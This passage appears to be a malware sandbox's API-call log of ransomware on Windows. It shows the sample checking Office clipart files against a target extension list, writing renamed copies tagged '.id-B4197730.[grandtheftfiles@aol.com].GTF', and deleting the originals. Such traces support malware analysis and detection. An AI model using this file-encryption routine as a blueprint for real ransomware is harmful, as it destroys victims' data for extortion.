	[0155.765] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0155.765] lstrlenW (lpString=".rar") returned 4
	[0155.765] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0155.765] lstrlenW (lpString=".bz2") returned 4
	[0155.765] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0155.765] lstrlenW (lpString=".7z") returned 3
	[0155.765] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0155.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0155.765] lstrlenW (lpString=".dbf") returned 4
	[0155.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0155.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0155.765] lstrlenW (lpString=".1cd") returned 4
	[0155.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0155.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0155.765] lstrlenW (lpString=".jpg") returned 4
	[0155.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0155.765] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0155.765] lstrlenW (lpString="J0090783.WMF") returned 12
	[0155.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0156.288] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=6934) returned 1
	[0156.288] CloseHandle (hObject=0x4a8) returned 1
	[0156.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 0x220
	[0156.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0156.314] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.315] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0156.315] GetLastError () returned 0x0
	[0156.315] ReadFile (in: hFile=0x4a8, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x1b16, lpOverlapped=0x0) returned 1
	[0156.325] WriteFile (in: hFile=0x498, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x1b20, lpOverlapped=0x0) returned 1
	[0156.326] ReadFile (in: hFile=0x4a8, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.326] WriteFile (in: hFile=0x498, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0156.326] SetEndOfFile (hFile=0x498) returned 1
	[0156.326] CloseHandle (hObject=0x498) returned 1
	[0156.326] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.326] SetEndOfFile (hFile=0x4a8) returned 1
	[0156.329] CloseHandle (hObject=0x4a8) returned 1
	[0156.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0156.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 1
	[0156.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0156.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0156.330] lstrlenW (lpString=".doc") returned 4
	[0156.330] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.330] lstrlenW (lpString=".docx") returned 5
	[0156.330] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0156.330] lstrlenW (lpString=".pdf") returned 4
	[0156.330] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.330] lstrlenW (lpString=".xls") returned 4
	[0156.330] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.330] lstrlenW (lpString=".xlsx") returned 5
	[0156.330] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0156.330] lstrlenW (lpString=".ppt") returned 4
	[0156.330] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0156.330] lstrlenW (lpString=".zip") returned 4
	[0156.330] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.330] lstrlenW (lpString=".rar") returned 4
	[0156.330] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.330] lstrlenW (lpString=".bz2") returned 4
	[0156.330] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.330] lstrlenW (lpString=".7z") returned 3
	[0156.330] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0156.330] lstrlenW (lpString=".dbf") returned 4
	[0156.330] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0156.330] lstrlenW (lpString=".1cd") returned 4
	[0156.330] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0156.330] lstrlenW (lpString=".jpg") returned 4
	[0156.330] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0156.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0156.331] lstrlenW (lpString=".doc") returned 4
	[0156.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.331] lstrlenW (lpString=".docx") returned 5
	[0156.331] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0156.331] lstrlenW (lpString=".pdf") returned 4
	[0156.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.331] lstrlenW (lpString=".xls") returned 4
	[0156.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.331] lstrlenW (lpString=".xlsx") returned 5
	[0156.331] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0156.331] lstrlenW (lpString=".ppt") returned 4
	[0156.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0156.331] lstrlenW (lpString=".zip") returned 4
	[0156.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.331] lstrlenW (lpString=".rar") returned 4
	[0156.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.331] lstrlenW (lpString=".bz2") returned 4
	[0156.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.331] lstrlenW (lpString=".7z") returned 3
	[0156.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0156.331] lstrlenW (lpString=".dbf") returned 4
	[0156.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0156.331] lstrlenW (lpString=".1cd") returned 4
	[0156.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0156.331] lstrlenW (lpString=".jpg") returned 4
	[0156.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.331] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0156.331] lstrlenW (lpString="J0099150.JPG") returned 12
	[0156.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0156.335] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=21914) returned 1
	[0156.335] CloseHandle (hObject=0x4a8) returned 1
	[0156.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 0x220
	[0156.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0156.336] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.336] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0156.337] GetLastError () returned 0x0
	[0156.337] ReadFile (in: hFile=0x4a8, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x559a, lpOverlapped=0x0) returned 1
	[0156.340] WriteFile (in: hFile=0x498, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x55a0, lpOverlapped=0x0) returned 1
	[0156.342] ReadFile (in: hFile=0x4a8, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.342] WriteFile (in: hFile=0x498, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0156.342] SetEndOfFile (hFile=0x498) returned 1
	[0156.342] CloseHandle (hObject=0x498) returned 1
	[0156.342] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.342] SetEndOfFile (hFile=0x4a8) returned 1
	[0156.346] CloseHandle (hObject=0x4a8) returned 1
	[0156.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0156.346] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 1
	[0156.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0156.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0156.690] lstrlenW (lpString=".doc") returned 4
	[0156.690] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.690] lstrlenW (lpString=".docx") returned 5
	[0156.690] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0156.690] lstrlenW (lpString=".pdf") returned 4
	[0156.690] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.690] lstrlenW (lpString=".xls") returned 4
	[0156.690] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.690] lstrlenW (lpString=".xlsx") returned 5
	[0156.690] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0156.690] lstrlenW (lpString=".ppt") returned 4
	[0156.690] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0156.690] lstrlenW (lpString=".zip") returned 4
	[0156.690] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.690] lstrlenW (lpString=".rar") returned 4
	[0156.690] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.690] lstrlenW (lpString=".bz2") returned 4
	[0156.690] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.690] lstrlenW (lpString=".7z") returned 3
	[0156.690] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0156.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0156.690] lstrlenW (lpString=".dbf") returned 4
	[0156.690] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0156.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0156.691] lstrlenW (lpString=".1cd") returned 4
	[0156.691] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0156.691] lstrlenW (lpString=".jpg") returned 4
	[0156.691] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0156.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0156.691] lstrlenW (lpString=".doc") returned 4
	[0156.691] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.691] lstrlenW (lpString=".docx") returned 5
	[0156.691] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0156.691] lstrlenW (lpString=".pdf") returned 4
	[0156.691] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.691] lstrlenW (lpString=".xls") returned 4
	[0156.691] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.691] lstrlenW (lpString=".xlsx") returned 5
	[0156.691] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0156.691] lstrlenW (lpString=".ppt") returned 4
	[0156.691] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0156.691] lstrlenW (lpString=".zip") returned 4
	[0156.691] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.691] lstrlenW (lpString=".rar") returned 4
	[0156.691] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.691] lstrlenW (lpString=".bz2") returned 4
	[0156.691] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.691] lstrlenW (lpString=".7z") returned 3
	[0156.691] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0156.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0156.691] lstrlenW (lpString=".dbf") returned 4
	[0156.691] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0156.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0156.691] lstrlenW (lpString=".1cd") returned 4
	[0156.691] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0156.691] lstrlenW (lpString=".jpg") returned 4
	[0156.692] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.692] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0156.692] lstrlenW (lpString="J0099160.JPG") returned 12
	[0156.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0157.697] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=15145) returned 1
	[0157.697] CloseHandle (hObject=0x4bc) returned 1
	[0157.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 0x220
	[0157.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0157.698] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.698] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0157.698] GetLastError () returned 0x0
	[0157.698] ReadFile (in: hFile=0x4bc, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x3b29, lpOverlapped=0x0) returned 1
	[0157.701] WriteFile (in: hFile=0x488, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x3b30, lpOverlapped=0x0) returned 1
	[0157.702] ReadFile (in: hFile=0x4bc, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.702] WriteFile (in: hFile=0x488, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0157.702] SetEndOfFile (hFile=0x488) returned 1
	[0157.702] CloseHandle (hObject=0x488) returned 1
	[0157.702] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.702] SetEndOfFile (hFile=0x4bc) returned 1
	[0157.705] CloseHandle (hObject=0x4bc) returned 1
	[0157.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0157.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 1
	[0157.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0157.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0157.706] lstrlenW (lpString=".doc") returned 4
	[0157.706] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0157.706] lstrlenW (lpString=".docx") returned 5
	[0157.706] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0157.706] lstrlenW (lpString=".pdf") returned 4
	[0157.706] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0157.706] lstrlenW (lpString=".xls") returned 4
	[0157.706] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0157.706] lstrlenW (lpString=".xlsx") returned 5
	[0157.706] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0157.707] lstrlenW (lpString=".ppt") returned 4
	[0157.707] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0157.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0157.707] lstrlenW (lpString=".zip") returned 4
	[0157.707] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0157.707] lstrlenW (lpString=".rar") returned 4
	[0157.707] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0157.707] lstrlenW (lpString=".bz2") returned 4
	[0157.707] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0157.707] lstrlenW (lpString=".7z") returned 3
	[0157.707] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0157.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0157.707] lstrlenW (lpString=".dbf") returned 4
	[0157.707] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0157.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0157.707] lstrlenW (lpString=".1cd") returned 4
	[0157.707] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0157.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0157.707] lstrlenW (lpString=".jpg") returned 4
	[0157.707] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0157.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0157.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0157.707] lstrlenW (lpString=".doc") returned 4
	[0157.707] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0157.707] lstrlenW (lpString=".docx") returned 5
	[0157.707] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0157.707] lstrlenW (lpString=".pdf") returned 4
	[0157.707] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0157.707] lstrlenW (lpString=".xls") returned 4
	[0157.707] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0157.707] lstrlenW (lpString=".xlsx") returned 5
	[0157.707] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0157.707] lstrlenW (lpString=".ppt") returned 4
	[0157.707] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0157.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
